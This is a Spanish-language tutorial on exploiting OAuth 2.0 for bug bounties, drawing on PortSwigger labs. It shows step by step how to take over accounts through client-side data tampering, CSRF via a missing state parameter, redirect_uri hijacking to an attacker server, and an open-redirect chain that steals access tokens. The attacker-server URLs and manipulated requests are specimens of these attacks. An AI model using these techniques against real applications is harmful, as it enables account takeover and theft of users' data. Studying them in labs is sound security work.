Introducción
Oauth es un servicio que nos permite loguearnos en una aplicación a través de otra cuenta de redes sociales, como Facebook, Instagram, Twitter o con nuestro email.
sign up with google
sign up with facebook
sign up with email
el registrarnos con estos servicios la pagina obtiene nuestros datos y con esto es posible registrarnos en su pagina.
Para explotar una autorización insegura de Oauth 2.0 debemos entender el protocolo y la implementación que este protocolo tiene:
para garantizar el acceso de los recursos al cliente, el escenario típico tiene 4 partes:
Resource owner: el dueño del recurso, es decir el usuario
client application: es la aplicación por ejemplo Medium que pide que te autentiques con una cuenta de Google, Facebook, etc.
authorization server: es el encargado de gestionar y enviar los tokens para permitir al resource server enviar los datos, para esto el authorization server envía tokens de acceso al client application, que el client application con ese token pide los recursos al resource server.
resource server: es quien tiene los datos por ejemplo Google, Facebook, Twitter, etc. que serán dados al client application,
a menudo el authorization server y resource server son la misma entidad llamada Oauth provider.
tipos de flujos de oauth
la aplicacion cliente debe configurarse para especificar que tipo de flujo usara en particular, básicamente hay de 2 tipos:
-Authorization code grant
-Implicit code grant
cualquiera que se elija de los anteriores se debe especificar que datos estará pidiendo, este parámetro es el scope, por ejemplo el nombre, los contactos, el mail, etc. para esto se usa OpenID Connect.
scope=contacts
scope=openid%20profile
Authorization code grant type
Este flujo se caracteriza por la intervención del usuario para autorizar de forma explícita el acceso a sus datos por parte de la aplicación y por el uso de un código proporcionado por el servidor de autenticación para que la aplicación pueda obtener un access token. Es el mas usado en la actualidad porque además es el mas completo y seguro que existe
Implicit grant type
Este flujo es una simplificación del flujo de Authorization Code, el usuario también interviene directamente para dar su consentimiento explícito, pero no se hace uso de un código, sino que se utiliza el access token directamente.
Recibe el nombre de implícito porque toda la comunicación reside en el navegador, es decir, no hay un servidor backend.
para registrarse por ejemplo con google, este dará a la pagina varios datos como nombre, email, lenguaje preferido, foto de perfil, etc. Obtiene los datos desde el servidor de Google
usemos burp suite para ver el flujo oauth:
primero hacemos el oauth completo y luego vemos el historial para ver que arroja:
Explotación:
el explotar oauth 2.0 puede llevarnos a una account takeover, en español a tomarnos la cuenta de otro usuario y en bug bounty es
explicaciones desde los laboratorios de portswigger:
authentication bypass via oauth implicit flow
errores q pagan!!!
prueba 1:
a. Interceptar con burp suite, loguearse en la aplicación con Oauth 2, luego
ver el historial y buscar la solicitud de autorización, debería ser algo
como : GET /auth?client_id=…
b. Donde aparezca información básica del usuario como su email, usuario, u otros probar a cambiarlos que es la validación del lado del cliente y enviar esa solicitud a repeater y cambiar el email por el del atacante, si esto no arroja un error, entonces tenemos un bug.
prueba 2:
a traves de la falta del parametro state, que es similar al token anti csrf
http://authorization-ptl-14bce025-ea1fc156.libcurl.so/oauth/authorize?
client_id=ed8dcb27c5dd3627375996a8cffdb97df35cfe770ccab11077bc94b140771b2f&
redirect_uri=http%3A%2F%2Fptl-14bce025-ea1fc156.libcurl.so%2Fauth%2Fmyprovider%2Fcallback&
response_type=code&
state=d675159a4b59e638985e752cbb4c712c4f5d9a41515b96ab
el parametro state es imposible de adivinar
entonces cuando no tenga este parametro podemos hacer el csrf, para eso buscaremos en el burp, el code=…… ya que con ese code haremos el ataque, en ese intercept is on, nosotros haremos click derecho y copiar url, entonces estará la url junto con el code, y para que el codigo osea el code sea valido necesitamos hacer drop en el burp.
ahora necesitamos un servidor para explotarlo, en ese servidor para una Poc https://aplicacionvulnerable.com/oauth-linking?code=ndnjcsjiwnd
y esa Poc se le envía a la victima ojala un usuario administrador para tener mas privilegios en el sistema.
prueba 3:
«Oauth hijacking via redirect_uri»
Cuando se presenta una configuración incorrecta que hace posible que un atacante robe los códigos de autorización asociados a las cuentas de otros usuarios antes que estos códigos se utilicen y así comprometer la aplicación cliente que esta asociada con el Oauth.
dejamos el burp suite corriendo para despues ver el historial
paso 1: nos logueamos con las redes sociales de oauth //aplicacion cliente
paso 2: se nos devuelve una url como: //proveedor Oauth
GET /auth=cliente_id{….}&response_type=code&redirect_uri=http://servidoratacante.com/
en esta parte cambiar el redirect_uri a nuestro servidor atacante,
paso 3: Se envía la respuesta al servidor atacante gracias al open redirect que nos permite reenviar el code a nuestro servidor, vemos una redirección
300 en burp
paso 4: se ve los registros del servidor
paso 5: se genera y envia el exploit a otro usuario https://aplicacionvulnerable.com/auth?client_id=…..
paso 6: se ve el codigo de autorizacion en logs
paso 7: nos logueamos con el codigo de autorizacion robado
prueba 4:
«stealing oauth access tokens via an open redirect»
esta vez no se puede hacer open redirect tan sencillo con el parámetro redirect_uri, sino que se hara un directory traversal al pasar a otro endpoint del mismo servidor, desde el servidor aplicación cliente al servidor proveedor oauth, pero necesita una vulnerabilidad que le permita redirigir a un servidor atacante, por eso después del directory traversal se debe buscar en otro endpoint para hacer el open redirect.
este es un laboratorio de portswigger
primero activamos el burp suite y nos logueamos como wiener y pass como peter después vemos el historial y buscamos dos request que nos interesan la típica de oauth y GET /me
en GET /me, tenemos el token de Authorization y en su respuesta una apiKey mas datos del usuario, ese token y datos es lo que necesitamos obtener de la victima para un account takeover.
regresamos a la request GET /auth? y ahora si intentamos cambiar el redirect_uri tenemos de respuesta un codigo 400 not found, esta vez tiene mas seguridad la aplicación, por lo tanto ahora se intenta un directory traversal después del callback, auth-callback/../.. e intentamos usar una pagina para
redirigir a un otro lugar de la misma aplicación cliente, si en la url o en la respuesta tenemos nos responde con el token entonces ya tenemos la primera vulnerabilidad realizada.
Ahora es momento de buscar el open redirect, para efectos del laboratorio de portswigger este se encuentra en una funcionalidad llamada next post
su request es:
GET /post/next?path=/post=postId=2 HTTP/1.1
GET /post/next?path=http://google.com HTTP/1.1
resumiendo, por un lado tenemos un directory traversal y por otro lado de
la aplicacion cliente un open redirect.
tomamos nuestro proveedor oauth, no a la aplicacion cliente!
acdd1fc51e094b8e8152438702ab003d.web-security-academy.net/oauth-callback/../post/next?path=(aca va nuestro servidor atacante)&response_type=……
y ya esa url la enviamos a la victima apuntando a nuestro servidor atacante junto a un script para capturar el token y voila.
